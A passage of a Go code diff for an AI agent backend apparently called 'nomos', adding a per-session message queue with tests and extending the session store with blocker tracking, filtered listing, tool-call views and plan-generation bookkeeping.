defer q.mu.Unlock()
|
||||
if len(q.queue[sessionID]) >= maxQueuedPerSession {
|
||||
slog.Warn("nomos: message queue full; dropping auto-run for operator message", "session", sessionID, "cap", maxQueuedPerSession)
|
||||
return false
|
||||
}
|
||||
q.queue[sessionID] = append(q.queue[sessionID], msg)
|
||||
return true
|
||||
}
|
||||
|
||||
// dequeue pops the next message from the front of the session's FIFO. Returns
|
||||
// ok=false when empty.
|
||||
func (q *messageQueue) dequeue(sessionID string) (string, bool) {
|
||||
q.mu.Lock()
|
||||
defer q.mu.Unlock()
|
||||
xs := q.queue[sessionID]
|
||||
if len(xs) == 0 {
|
||||
return "", false
|
||||
}
|
||||
m := xs[0]
|
||||
q.queue[sessionID] = xs[1:]
|
||||
return m, true
|
||||
}
|
||||
|
||||
// requeueFront pushes a message back to the front — used when a drainer popped
|
||||
// a message but lost the race for the gate to a live turn; that turn's own
|
||||
// release will drain it again.
|
||||
func (q *messageQueue) requeueFront(sessionID, msg string) {
|
||||
q.mu.Lock()
|
||||
defer q.mu.Unlock()
|
||||
q.queue[sessionID] = append([]string{msg}, q.queue[sessionID]...)
|
||||
}
|
||||
|
||||
// peek reports the queued depth for a session (test/diagnostic helper).
|
||||
func (q *messageQueue) peek(sessionID string) int {
|
||||
q.mu.Lock()
|
||||
defer q.mu.Unlock()
|
||||
return len(q.queue[sessionID])
|
||||
}
|
||||
142
cmd/nomos/messagequeue_test.go
Normal file
142
cmd/nomos/messagequeue_test.go
Normal file
@@ -0,0 +1,142 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"context"
|
||||
"sync"
|
||||
"testing"
|
||||
"time"
|
||||
)
|
||||
|
||||
func TestMessageQueue_FIFO(t *testing.T) {
|
||||
q := newMessageQueue()
|
||||
q.enqueue("s", "first")
|
||||
q.enqueue("s", "second")
|
||||
q.enqueue("s", "third")
|
||||
|
||||
want := []string{"first", "second", "third"}
|
||||
for _, w := range want {
|
||||
got, ok := q.dequeue("s")
|
||||
if !ok || got != w {
|
||||
t.Fatalf("dequeue = %q,%v want %q,true", got, ok, w)
|
||||
}
|
||||
}
|
||||
if _, ok := q.dequeue("s"); ok {
|
||||
t.Fatal("dequeue on drained queue should return ok=false")
|
||||
}
|
||||
}
|
||||
|
||||
func TestMessageQueue_RequeueFront(t *testing.T) {
|
||||
q := newMessageQueue()
|
||||
q.enqueue("s", "a")
|
||||
q.enqueue("s", "b")
|
||||
// Pop "a", then push it back to the front; "a" must come out before "b".
|
||||
a, _ := q.dequeue("s")
|
||||
q.requeueFront("s", a)
|
||||
got, _ := q.dequeue("s")
|
||||
if got != "a" {
|
||||
t.Fatalf("after requeueFront, dequeue = %q want %q", got, "a")
|
||||
}
|
||||
got2, _ := q.dequeue("s")
|
||||
if got2 != "b" {
|
||||
t.Fatalf("next dequeue = %q want %q", got2, "b")
|
||||
}
|
||||
}
|
||||
|
||||
func TestMessageQueue_IsolatedPerSession(t *testing.T) {
|
||||
q := newMessageQueue()
|
||||
q.enqueue("s1", "one")
|
||||
q.enqueue("s2", "two")
|
||||
if got, _ := q.dequeue("s1"); got != "one" {
|
||||
t.Fatalf("s1 = %q want one", got)
|
||||
}
|
||||
if got, _ := q.dequeue("s2"); got != "two" {
|
||||
t.Fatalf("s2 = %q want two", got)
|
||||
}
|
||||
if q.peek("s1") != 0 || q.peek("s2") != 0 {
|
||||
t.Fatal("both sessions should be drained")
|
||||
}
|
||||
}
|
||||
|
||||
func TestMessageQueue_Concurrent(t *testing.T) {
|
||||
q := newMessageQueue()
|
||||
const n = maxQueuedPerSession // stay under the cap so every enqueue lands
|
||||
var wg sync.WaitGroup
|
||||
for i := 0; i < n; i++ {
|
||||
wg.Add(1)
|
||||
go func(i int) {
|
||||
defer wg.Done()
|
||||
q.enqueue("s", "m")
|
||||
}(i)
|
||||
}
|
||||
wg.Wait()
|
||||
if q.peek("s") != n {
|
||||
t.Fatalf("peek = %d want %d (all enqueues must be counted)", q.peek("s"), n)
|
||||
}
|
||||
seen := 0
|
||||
for {
|
||||
if _, ok := q.dequeue("s"); !ok {
|
||||
break
|
||||
}
|
||||
seen++
|
||||
}
|
||||
if seen != n {
|
||||
t.Fatalf("drained %d want %d", seen, n)
|
||||
}
|
||||
}
|
||||
|
||||
func TestMessageQueue_CapsOverflow(t *testing.T) {
|
||||
q := newMessageQueue()
|
||||
for i := 0; i < maxQueuedPerSession; i++ {
|
||||
if !q.enqueue("s", "m") {
|
||||
t.Fatalf("enqueue #%d within cap should succeed", i)
|
||||
}
|
||||
}
|
||||
if q.enqueue("s", "overflow") {
|
||||
t.Fatal("enqueue past the cap should return false (dropped)")
|
||||
}
|
||||
if got := q.peek("s"); got != maxQueuedPerSession {
|
||||
t.Fatalf("peek = %d want %d (overflow must not append)", got, maxQueuedPerSession)
|
||||
}
|
||||
}
|
||||
|
||||
// drainQueued on an empty queue must be a no-op: it returns immediately and
|
||||
// never touches the gate (so the session stays free for the next turn).
|
||||
func TestDrainQueued_NoOpOnEmpty(t *testing.T) {
|
||||
a := &agent{gate: newTurnGate(), queue: newMessageQueue()}
|
||||
a.drainQueued(context.Background(), "s")
|
||||
if !a.gate.acquire("s", 0) {
|
||||
t.Fatal("gate should be free after a no-op drain (drain must not hold it)")
|
||||
}
|
||||
a.gate.release("s")
|
||||
}
|
||||
|
||||
// With a queued message but the gate held by another turn, drainQueued must
|
||||
// re-queue the message and return WITHOUT running a turn (no store/provider → a
|
||||
// real run would panic). This is the "never stack" property: a busy gate
|
||||
// defers to the holder's own release-drain.
|
||||
func TestDrainQueued_RequeuesWhenBusy(t *testing.T) {
|
||||
prev := drainAcquireWait
|
||||
drainAcquireWait = 10 * time.Millisecond
|
||||
t.Cleanup(func() { drainAcquireWait = prev })
|
||||
|
||||
a := &agent{gate: newTurnGate(), queue: newMessageQueue()}
|
||||
if !a.gate.acquire("s", 0) {
|
||||
t.Fatal("precondition: hold the gate")
|
||||
}
|
||||
a.queue.enqueue("s", "queued-msg")
|
||||
|
||||
done := make(chan struct{})
|
||||
go func() {
|
||||
a.drainQueued(context.Background(), "s") // must not panic; must requeue
|
||||
close(done)
|
||||
}()
|
||||
select {
|
||||
case <-done:
|
||||
case <-time.After(time.Second):
|
||||
t.Fatal("drainQueued did not return promptly while the gate was busy")
|
||||
}
|
||||
if got := a.queue.peek("s"); got != 1 {
|
||||
t.Fatalf("message should be re-queued while busy; peek = %d want 1", got)
|
||||
}
|
||||
a.gate.release("s")
|
||||
}
|
||||
@@ -13,6 +13,7 @@ import (
|
||||
"github.com/dtoro/oikos/internal/db/sqlcgen"
|
||||
"github.com/dtoro/oikos/internal/observability"
|
||||
"github.com/google/uuid"
|
||||
"github.com/jackc/pgx/v5"
|
||||
"github.com/jackc/pgx/v5/pgxpool"
|
||||
)
|
||||
|
||||
@@ -25,6 +26,13 @@ const maxToolResultSize = 4096
|
||||
// The caller translates this into a directive tool result.
|
||||
var errPlanInFlight = errors.New("plan already in flight")
|
||||
|
||||
// errPlanStepNotFound is returned by updatePlanStep when no step matches the
|
||||
// given seq in the CURRENT (MAX) generation — either the seq is out of range,
|
||||
// or (after a re-plan) the model addressed a stale 1-based number. seq is
|
||||
// generation-relative, so this never resurrects a superseded generation's row.
|
||||
// The caller translates it into a directive tool result (P0.1).
|
||||
var errPlanStepNotFound = errors.New("plan step not found in current generation")
|
||||
|
||||
type store struct {
|
||||
pool *pgxpool.Pool
|
||||
}
|
||||
@@ -86,18 +94,39 @@ func (s *store) close() {
|
||||
// session is a chat session elevated to a task: goal-structured work with a
|
||||
// lifecycle status and an outcome (see migration 018 / the task-board plan).
|
||||
// Outcome/Summary/EntityID are empty until set, hence omitempty.
|
||||
//
|
||||
// P1.5 (2026-07-20): Blocker and ClosedAt track WHY a session ended
|
||||
// partial/failed and WHEN it actually closed. ClosedAt is distinct from
|
||||
// LastActiveAt — the latter is touched on any access (including a UI
|
||||
// transcript view), the former is set ONCE at completion. Without it,
|
||||
// "duration" computed as last_active - created lies for reopened sessions
|
||||
// (a51e2086 reported 4-day duration because the operator reopened it).
|
||||
// Blocker is a short structured reason: approval_timeout,
|
||||
// classifier_overreach, user_abandoned, tool_error, etc. See
|
||||
// plans/2026-07-20-session-review-ten-sessions.md P1.5.
|
||||
type session struct {
|
||||
ID string `json:"id"`
|
||||
Title string `json:"title"`
|
||||
Actor string `json:"actor"`
|
||||
Goal string `json:"goal"`
|
||||
Status string `json:"status"`
|
||||
Outcome string `json:"outcome,omitempty"`
|
||||
Summary string `json:"summary,omitempty"`
|
||||
EntityID string `json:"entity_id,omitempty"`
|
||||
PendingApprovals int `json:"pending_approvals"`
|
||||
CreatedAt time.Time `json:"created_at"`
|
||||
LastActiveAt time.Time `json:"last_active_at"`
|
||||
ID string `json:"id"`
|
||||
Title string `json:"title"`
|
||||
Actor string `json:"actor"`
|
||||
Goal string `json:"goal"`
|
||||
Status string `json:"status"`
|
||||
Outcome string `json:"outcome,omitempty"`
|
||||
Summary string `json:"summary,omitempty"`
|
||||
EntityID string `json:"entity_id,omitempty"`
|
||||
PendingApprovals int `json:"pending_approvals"`
|
||||
Blocker string `json:"blocker,omitempty"`
|
||||
CreatedAt time.Time `json:"created_at"`
|
||||
LastActiveAt time.Time `json:"last_active_at"`
|
||||
ClosedAt *time.Time `json:"closed_at,omitempty"`
|
||||
// P2.6 (2026-07-20): server-side aggregates so /sessions can answer
|
||||
// "how big was this task?" without N+1 transcript fetches. The audit
|
||||
// had to pull every session's full message tree to count tool calls —
|
||||
// ~600 KB of JSON for 10 sessions. With these, the list view is a
|
||||
// single round trip. omitempty so getSession for a brand-new session
|
||||
// with zero activity doesn't emit zeros.
|
||||
MessageCount int `json:"message_count,omitempty"`
|
||||
ToolCallCount int `json:"tool_call_count,omitempty"`
|
||||
DurationSeconds int `json:"duration_seconds,omitempty"`
|
||||
}
|
||||
|
||||
type message struct {
|
||||
@@ -315,14 +344,98 @@ func (s *store) touchSession(ctx context.Context, id string) {
|
||||
}
|
||||
|
||||
func (s *store) listSessions(ctx context.Context) ([]session, error) {
|
||||
return s.listSessionsFiltered(ctx, listFilter{Limit: 50})
|
||||
}
|
||||
|
||||
// listFilter carries the optional WHERE/ORDER clauses added by P2.8
|
||||
// (filtering & pagination). All fields optional; empty values are no-ops.
|
||||
// The handler in main.go parses query params into this struct so the SQL
|
||||
// builder here is the single source of truth for what filters exist.
|
||||
type listFilter struct {
|
||||
Outcome string // exact match on outcome (success/partial/failure)
|
||||
Status string // exact match on status (active/done/failed/executing)
|
||||
EntityID string // exact match on entity_id (UUID)
|
||||
Blocker string // exact match on blocker reason
|
||||
Since string // last_active_at >= this; RFC3339 timestamp OR Go duration (e.g. "24h")
|
||||
Cursor string // last_active_at < cursor (RFC3339) — page back in time
|
||||
Limit int // default 50, clamped by the handler
|
||||
}
|
||||
|
||||
func (s *store) listSessionsFiltered(ctx context.Context, f listFilter) ([]session, error) {
|
||||
if s == nil {
|
||||
return nil, nil
|
||||
}
|
||||
rows, err := s.pool.Query(ctx,
|
||||
`SELECT s.id, s.title, s.actor, s.goal, s.status, COALESCE(s.outcome, ''), s.summary,
|
||||
COALESCE(s.entity_id::text, ''),
|
||||
COALESCE(pa.cnt, 0),
|
||||
s.created_at, s.last_active_at
|
||||
if f.Limit <= 0 {
|
||||
f.Limit = 50
|
||||
}
|
||||
// Build the WHERE clause dynamically. We use a single args slice with
|
||||
// $N placeholders to keep pgx happy; the index increments per clause.
|
||||
var (
|
||||
where []string
|
||||
args []any
|
||||
n = 1
|
||||
)
|
||||
if f.Outcome != "" {
|
||||
where = append(where, fmt.Sprintf("COALESCE(s.outcome, '') = $%d", n))
|
||||
args = append(args, f.Outcome)
|
||||
n++
|
||||
}
|
||||
if f.Status != "" {
|
||||
where = append(where, fmt.Sprintf("s.status = $%d", n))
|
||||
args = append(args, f.Status)
|
||||
n++
|
||||
}
|
||||
if f.EntityID != "" {
|
||||
// Accept UUID or string; cast gracefully if invalid.
|
||||
if _, err := uuid.Parse(f.EntityID); err == nil {
|
||||
where = append(where, fmt.Sprintf("s.entity_id = $%d::uuid", n))
|
||||
args = append(args, f.EntityID)
|
||||
n++
|
||||
}
|
||||
}
|
||||
if f.Blocker != "" {
|
||||
where = append(where, fmt.Sprintf("COALESCE(s.blocker, '') = $%d", n))
|
||||
args = append(args, f.Blocker)
|
||||
n++
|
||||
}
|
||||
if f.Since != "" {
|
||||
// Accept RFC3339 timestamp OR a Go-style duration like "24h", "7d".
|
||||
// Try timestamp first, fall back to duration relative to now.
|
||||
if t, err := time.Parse(time.RFC3339, f.Since); err == nil {
|
||||
where = append(where, fmt.Sprintf("s.last_active_at >= $%d", n))
|
||||
args = append(args, t)
|
||||
n++
|
||||
} else if d, err := time.ParseDuration(f.Since); err == nil {
|
||||
where = append(where, fmt.Sprintf("s.last_active_at >= now() - ($%d * interval '1 second')", n))
|
||||
args = append(args, d.Seconds())
|
||||
n++
|
||||
}
|
||||
// Unknown format: silently drop the filter — better than erroring
|
||||
// out and breaking the whole list. Caller can validate if needed.
|
||||
}
|
||||
if f.Cursor != "" {
|
||||
if t, err := time.Parse(time.RFC3339, f.Cursor); err == nil {
|
||||
where = append(where, fmt.Sprintf("s.last_active_at < $%d", n))
|
||||
args = append(args, t)
|
||||
n++
|
||||
}
|
||||
}
|
||||
whereClause := ""
|
||||
if len(where) > 0 {
|
||||
whereClause = "WHERE " + strings.Join(where, " AND ")
|
||||
}
|
||||
args = append(args, f.Limit)
|
||||
limitArg := fmt.Sprintf("$%d", n)
|
||||
|
||||
query := fmt.Sprintf(`
|
||||
SELECT s.id, s.title, s.actor, s.goal, s.status, COALESCE(s.outcome, ''), s.summary,
|
||||
COALESCE(s.entity_id::text, ''),
|
||||
COALESCE(pa.cnt, 0),
|
||||
COALESCE(s.blocker, ''),
|
||||
s.created_at, s.last_active_at, s.closed_at,
|
||||
COALESCE(msg.cnt, 0),
|
||||
COALESCE(act.cnt, 0),
|
||||
COALESCE(EXTRACT(EPOCH FROM (COALESCE(s.closed_at, s.last_active_at) - s.created_at))::bigint, 0)
|
||||
FROM agent_sessions s
|
||||
LEFT JOIN (
|
||||
SELECT l.session_id, COUNT(*) AS cnt
|
||||
@@ -331,7 +444,22 @@ func (s *store) listSessions(ctx context.Context) ([]session, error) {
|
||||
WHERE e.status = 'pending_approval'
|
||||
GROUP BY l.session_id
|
||||
) pa ON pa.session_id = s.id
|
||||
ORDER BY s.last_active_at DESC LIMIT 50`)
|
||||
LEFT JOIN (
|
||||
SELECT session_id, COUNT(*) AS cnt
|
||||
FROM agent_messages
|
||||
GROUP BY session_id
|
||||
) msg ON msg.session_id = s.id
|
||||
LEFT JOIN (
|
||||
SELECT session_id::uuid AS sid, COUNT(*) AS cnt
|
||||
FROM agent_activity
|
||||
WHERE session_id IS NOT NULL AND session_id <> ''
|
||||
GROUP BY session_id
|
||||
) act ON act.sid = s.id
|
||||
%s
|
||||
ORDER BY s.last_active_at DESC
|
||||
LIMIT %s`, whereClause, limitArg)
|
||||
|
||||
rows, err := s.pool.Query(ctx, query, args...)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
@@ -342,7 +470,8 @@ func (s *store) listSessions(ctx context.Context) ([]session, error) {
|
||||
var sess session
|
||||
if err := rows.Scan(&sess.ID, &sess.Title, &sess.Actor, &sess.Goal, &sess.Status,
|
||||
&sess.Outcome, &sess.Summary, &sess.EntityID, &sess.PendingApprovals,
|
||||
&sess.CreatedAt, &sess.LastActiveAt); err != nil {
|
||||
&sess.Blocker, &sess.CreatedAt, &sess.LastActiveAt, &sess.ClosedAt,
|
||||
&sess.MessageCount, &sess.ToolCallCount, &sess.DurationSeconds); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
out = append(out, sess)
|
||||
@@ -356,18 +485,102 @@ func (s *store) getSession(ctx context.Context, id string) (*session, error) {
|
||||
}
|
||||
var sess session
|
||||
err := s.pool.QueryRow(ctx,
|
||||
`SELECT id, title, actor, goal, status, COALESCE(outcome, ''), summary,
|
||||
COALESCE(entity_id::text, ''), 0, created_at, last_active_at
|
||||
FROM agent_sessions WHERE id = $1`, id).
|
||||
`SELECT s.id, s.title, s.actor, s.goal, s.status, COALESCE(s.outcome, ''), s.summary,
|
||||
COALESCE(s.entity_id::text, ''), 0, COALESCE(s.blocker, ''),
|
||||
s.created_at, s.last_active_at, s.closed_at,
|
||||
COALESCE(msg.cnt, 0),
|
||||
COALESCE(act.cnt, 0),
|
||||
COALESCE(EXTRACT(EPOCH FROM (COALESCE(s.closed_at, s.last_active_at) - s.created_at))::bigint, 0)
|
||||
FROM agent_sessions s
|
||||
LEFT JOIN (
|
||||
SELECT session_id, COUNT(*) AS cnt
|
||||
FROM agent_messages
|
||||
WHERE session_id = $1::uuid
|
||||
GROUP BY session_id
|
||||
) msg ON msg.session_id = s.id
|
||||
LEFT JOIN (
|
||||
SELECT session_id::uuid AS sid, COUNT(*) AS cnt
|
||||
FROM agent_activity
|
||||
WHERE session_id IS NOT NULL AND session_id <> ''
|
||||
AND session_id::uuid = $1::uuid
|
||||
GROUP BY session_id
|
||||
) act ON act.sid = s.id
|
||||
WHERE s.id = $1`, id).
|
||||
Scan(&sess.ID, &sess.Title, &sess.Actor, &sess.Goal, &sess.Status,
|
||||
&sess.Outcome, &sess.Summary, &sess.EntityID, &sess.PendingApprovals,
|
||||
&sess.CreatedAt, &sess.LastActiveAt)
|
||||
&sess.Blocker, &sess.CreatedAt, &sess.LastActiveAt, &sess.ClosedAt,
|
||||
&sess.MessageCount, &sess.ToolCallCount, &sess.DurationSeconds)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return &sess, nil
|
||||
}
|
||||
|
||||
// recentPartialSessions returns recent sessions (within `since`) whose outcome
|
||||
// is partial or failed, excluding the current session. Used by the set_goal
|
||||
// handler to surface prior unfinished work on the same problem — three
|
||||
// duplicate rclone sessions (a51e2086, 8acea2e3, cb8c8a4a) all bounced off
|
||||
// the classifier because each new session started from scratch. Surfacing the
|
||||
// prior session's goal + summary at set_goal time lets the agent pick up the
|
||||
// thread instead of rediscovering it. See
|
||||
// plans/2026-07-20-session-review-ten-sessions.md P1.3.
|
||||
func (s *store) recentPartialSessions(ctx context.Context, excludeSessionID string, since time.Duration) ([]session, error) {
|
||||
if s == nil {
|
||||
return nil, nil
|
||||
}
|
||||
rows, err := s.pool.Query(ctx,
|
||||
`SELECT s.id, s.title, s.actor, s.goal, s.status, COALESCE(s.outcome, ''), s.summary,
|
||||
COALESCE(s.entity_id::text, ''),
|
||||
COALESCE(pa.cnt, 0),
|
||||
COALESCE(s.blocker, ''),
|
||||
s.created_at, s.last_active_at, s.closed_at,
|
||||
COALESCE(msg.cnt, 0),
|
||||
COALESCE(act.cnt, 0),
|
||||
COALESCE(EXTRACT(EPOCH FROM (COALESCE(s.closed_at, s.last_active_at) - s.created_at))::bigint, 0)
|
||||
FROM agent_sessions s
|
||||
LEFT JOIN (
|
||||
SELECT l.session_id, COUNT(*) AS cnt
|
||||
FROM nomos_plan_executions l
|
||||
JOIN executions e ON e.entity_id = l.execution_id
|
||||
WHERE e.status = 'pending_approval'
|
||||
GROUP BY l.session_id
|
||||
) pa ON pa.session_id = s.id
|
||||
LEFT JOIN (
|
||||
SELECT session_id, COUNT(*) AS cnt
|
||||
FROM agent_messages
|
||||
GROUP BY session_id
|
||||
) msg ON msg.session_id = s.id
|
||||
LEFT JOIN (
|
||||
SELECT session_id::uuid AS sid, COUNT(*) AS cnt
|
||||
FROM agent_activity
|
||||
WHERE session_id IS NOT NULL AND session_id <> ''
|
||||
GROUP BY session_id
|
||||
) act ON act.sid = s.id
|
||||
WHERE s.id <> $1
|
||||
AND s.last_active_at >= now() - ($2 * interval '1 second')
|
||||
AND COALESCE(s.outcome, '') IN ('partial', 'failed')
|
||||
ORDER BY s.last_active_at DESC
|
||||
LIMIT 10`,
|
||||
excludeSessionID, since.Seconds())
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
var out []session
|
||||
for rows.Next() {
|
||||
var sess session
|
||||
if err := rows.Scan(&sess.ID, &sess.Title, &sess.Actor, &sess.Goal, &sess.Status,
|
||||
&sess.Outcome, &sess.Summary, &sess.EntityID, &sess.PendingApprovals,
|
||||
&sess.Blocker, &sess.CreatedAt, &sess.LastActiveAt, &sess.ClosedAt,
|
||||
&sess.MessageCount, &sess.ToolCallCount, &sess.DurationSeconds); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
out = append(out, sess)
|
||||
}
|
||||
return out, rows.Err()
|
||||
}
|
||||
|
||||
// getMessages returns a session's ENTIRE message history, unbounded — used
|
||||
// for the UI's own transcript view (GET /sessions/{id}), where the operator
|
||||
// should be able to see everything a task has done regardless of how long
|
||||
@@ -397,6 +610,77 @@ func (s *store) getMessages(ctx context.Context, sessionID string) ([]message, e
|
||||
return out, rows.Err()
|
||||
}
|
||||
|
||||
// SessionToolCall is the flat view of one tool call as exposed by
|
||||
// GET /sessions/{id}/tool_calls. Mirrors the persisted tool_call shape but
|
||||
// drops the message-shell wrapping. Args/Result are kept as RawMessage so
|
||||
// the caller can decide how to render them (the audit case wanted raw
|
||||
// text sizes, but other callers may want full JSON).
|
||||
type SessionToolCall struct {
|
||||
ID string `json:"id"`
|
||||
Name string `json:"name"`
|
||||
Args json.RawMessage `json:"args,omitempty"`
|
||||
Result json.RawMessage `json:"result,omitempty"`
|
||||
Error string `json:"error,omitempty"`
|
||||
Type string `json:"type,omitempty"` // "tool_use" or "tool_result"
|
||||
MessageID string `json:"message_id"`
|
||||
Role string `json:"role"`
|
||||
Seq int `json:"seq"` // 1-indexed position within the session (across all messages)
|
||||
CreatedAt time.Time `json:"created_at"`
|
||||
}
|
||||
|
||||
// getSessionToolCalls walks a session's messages and returns a flat list of
|
||||
// tool calls in chronological order, without the two-level message nesting.
|
||||
// The audit at plans/2026-07-20-session-review-ten-sessions.md P2.10 had to
|
||||
// write Python to walk messages[].content.tool_calls[]; this method makes
|
||||
// it a single SQL + Go walk on the server. Each tool_use/tool_result pair
|
||||
// is emitted as two rows (same id, different Type), preserving the
|
||||
// persisted shape — clients that want the merged shape can group by ID.
|
||||
func (s *store) getSessionToolCalls(ctx context.Context, sessionID string) ([]SessionToolCall, error) {
|
||||
if s == nil {
|
||||
return nil, nil
|
||||
}
|
||||
msgs, err := s.getMessages(ctx, sessionID)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
var out []SessionToolCall
|
||||
seq := 0
|
||||
for _, m := range msgs {
|
||||
var payload struct {
|
||||
ToolCalls []struct {
|
||||
ID string `json:"id"`
|
||||
Type string `json:"type"`
|
||||
Name string `json:"name"`
|
||||
Args json.RawMessage `json:"args"`
|
||||
Result json.RawMessage `json:"result"`
|
||||
Error string `json:"error"`
|
||||
} `json:"tool_calls"`
|
||||
}
|
||||
if err := json.Unmarshal(m.Content, &payload); err != nil {
|
||||
continue
|
||||
}
|
||||
for _, tc := range payload.ToolCalls {
|
||||
if tc.ID == "" {
|
||||
continue
|
||||
}
|
||||
seq++
|
||||
out = append(out, SessionToolCall{
|
||||
ID: tc.ID,
|
||||
Name: tc.Name,
|
||||
Args: tc.Args,
|
||||
Result: tc.Result,
|
||||
Error: tc.Error,
|
||||
Type: tc.Type,
|
||||
MessageID: m.ID,
|
||||
Role: m.Role,
|
||||
Seq: seq,
|
||||
CreatedAt: m.CreatedAt,
|
||||
})
|
||||
}
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
// getRecentMessages returns the most recent `limit` messages for sessionID,
|
||||
// in chronological order, plus whether older messages exist beyond that
|
||||
// window. Used specifically for LLM replay (chatWith): without a bound,
|
||||
@@ -523,12 +807,13 @@ func (s *store) setGoal(ctx context.Context, sessionID, goal string) error {
|
||||
// Replace any prior plan steps (done/running/pending/...) as `replaced`.
|
||||
// The rows are kept for the generation counter + audit trail; proposePlan
|
||||
// excludes `replaced` from its in-flight check, so the next propose_plan
|
||||
// takes the fresh-generation path.
|
||||
// takes the fresh-generation path. replaced_reason records the cause
|
||||
// (2026-08-04 plan-step integrity audit).
|
||||
s.pool.Exec(ctx,
|
||||
`UPDATE session_plan_steps SET status = 'replaced', finished_at = COALESCE(finished_at, now()) WHERE session_id = $1 AND status <> 'replaced'`,
|
||||
sessionID)
|
||||
`UPDATE session_plan_steps SET status = 'replaced', replaced_reason = $2, finished_at = COALESCE(finished_at, now()) WHERE session_id = $1 AND status <> 'replaced'`,
|
||||
sessionID, "goal superseded")
|
||||
if _, err := s.pool.Exec(ctx,
|
||||
`UPDATE agent_sessions SET goal = $2, status = 'executing', last_active_at = now() WHERE id = $1`,
|
||||
`UPDATE agent_sessions SET goal = $2, status = 'executing', title = $2, last_active_at = now() WHERE id = $1`,
|
||||
sessionID, goal); err != nil {
|
||||
return err
|
||||
}
|
||||
@@ -566,6 +851,14 @@ func (s *store) reopenSession(ctx context.Context, sessionID string) bool {
|
||||
s.pool.Exec(ctx,
|
||||
`UPDATE agent_sessions SET status = 'executing', outcome = NULL, summary = NULL, last_active_at = now() WHERE id = $1`,
|
||||
sessionID)
|
||||
// Mark the prior plan's steps as replaced so the P1 plan-first gate in
|
||||
// classifyAndGate forces a fresh propose_plan before any run. Without
|
||||
// this, the agent could resume a session and call run against the old
|
||||
// (completed) plan — exactly what caused the ZimaOS continuation to
|
||||
// have 81 ad-hoc tool calls with zero plan structure (2026-08-04).
|
||||
s.pool.Exec(ctx,
|
||||
`UPDATE session_plan_steps SET status = 'replaced', replaced_reason = $2, finished_at = COALESCE(finished_at, now()) WHERE session_id = $1 AND status <> 'replaced'`,
|
||||
sessionID, "session reopened — awaiting new plan")
|
||||
_ = observability.Event(ctx, sqlcgen.New(s.pool), "task.reopened", s.taskEntityPtr(ctx, sessionID),
|
||||
"info", "nomos", sessionID, map[string]any{"prior_status": currentStatus})
|
||||
return true
|
||||
@@ -603,16 +896,15 @@ func (s *store) proposePlan(ctx context.Context, sessionID string, steps []planS
|
||||
}
|
||||
defer tx.Rollback(ctx)
|
||||
|
||||
var startSeq int
|
||||
var anyStarted bool
|
||||
// `replaced` steps (from a prior plan generation superseded by a
|
||||
// follow-up sub-task — see reopenSession) are excluded: they prove a
|
||||
// prior plan was completed and superseded, not that a plan is in flight.
|
||||
// Without this exclusion, reopenSession's `replaced` marking would be
|
||||
// follow-up sub-task — see setGoal/reopenSession) are excluded: they
|
||||
// prove a prior plan was completed and superseded, not that a plan is in
|
||||
// flight. Without this exclusion, setGoal's `replaced` marking would be
|
||||
// useless — propose_plan would still refuse on the follow-up.
|
||||
if err := tx.QueryRow(ctx, `
|
||||
SELECT COALESCE(max(seq), 0), COALESCE(bool_or(status NOT IN ('pending', 'replaced')), false)
|
||||
FROM session_plan_steps WHERE session_id = $1`, sessionID).Scan(&startSeq, &anyStarted); err != nil {
|
||||
SELECT COALESCE(bool_or(status NOT IN ('pending', 'replaced')), false)
|
||||
FROM session_plan_steps WHERE session_id = $1`, sessionID).Scan(&anyStarted); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if anyStarted {
|
||||
@@ -622,35 +914,29 @@ func (s *store) proposePlan(ctx context.Context, sessionID string, steps []planS
|
||||
return nil, errPlanInFlight
|
||||
}
|
||||
// Fresh/revise: mark any prior PENDING steps as `replaced` (not DELETE).
|
||||
// This preserves the rows for the generation counter (MAX(generation)+1
|
||||
// below) and the plan_generations eval assertion. Without this, a first
|
||||
// plan that was proposed but never executed (all pending) would be
|
||||
// wiped, resetting the counter to 1 — making a follow-up's plan look
|
||||
// like generation 1 instead of 2. `replaced` steps are excluded from
|
||||
// the anyStarted check above, so they don't block the fresh proposal.
|
||||
// The rows are kept for the generation counter (MAX(generation)+1 below)
|
||||
// and the plan_generations eval assertion. `replaced` steps are excluded
|
||||
// from the anyStarted check above, so they don't block this proposal.
|
||||
// replaced_reason records the cause — required by the plan-step integrity
|
||||
// gate (2026-08-04 session audit).
|
||||
if _, err := tx.Exec(ctx,
|
||||
`UPDATE session_plan_steps SET status = 'replaced', finished_at = COALESCE(finished_at, now()) WHERE session_id = $1 AND status = 'pending'`,
|
||||
sessionID); err != nil {
|
||||
`UPDATE session_plan_steps SET status = 'replaced', replaced_reason = $2, finished_at = COALESCE(finished_at, now()) WHERE session_id = $1 AND status = 'pending'`,
|
||||
sessionID, "superseded by new plan generation"); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
// startSeq keeps the max(seq) from the query above: if prior steps
|
||||
// exist (replaced or done), the new generation's steps start after them
|
||||
// (no seq collisions across generations). If no rows exist (first plan),
|
||||
// startSeq is 0 and the first step is seq 1.
|
||||
|
||||
// Resolve the generation number for this plan. Generation 1 is the
|
||||
// initial plan; a genuine revise (which currently goes through the same
|
||||
// fresh-start path above because all steps were pending) resets to 1
|
||||
// since the DELETE wiped the prior rows. The column is wired here so a
|
||||
// future explicit mid-flight revise path can increment it.
|
||||
// nextGen: generation 1 for the first plan, MAX(generation)+1 for every
|
||||
// revise/follow-up (prior rows were marked `replaced` above, not deleted,
|
||||
// so the counter survives). seq is generation-relative — it resets to
|
||||
// 1..N for this generation, so (session_id, generation, seq) is the
|
||||
// addressing key and the model's 1-based update_plan_step always maps to
|
||||
// the CURRENT plan after a re-plan (P0.1).
|
||||
var nextGen int
|
||||
if err := tx.QueryRow(ctx, `
|
||||
SELECT COALESCE(MAX(generation), 0) + 1
|
||||
FROM session_plan_steps WHERE session_id = $1`, sessionID).Scan(&nextGen); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
// After the DELETE above, no rows remain, so MAX(generation) is NULL →
|
||||
// nextGen = 1. (Keep the query for the future revise path; it's cheap.)
|
||||
|
||||
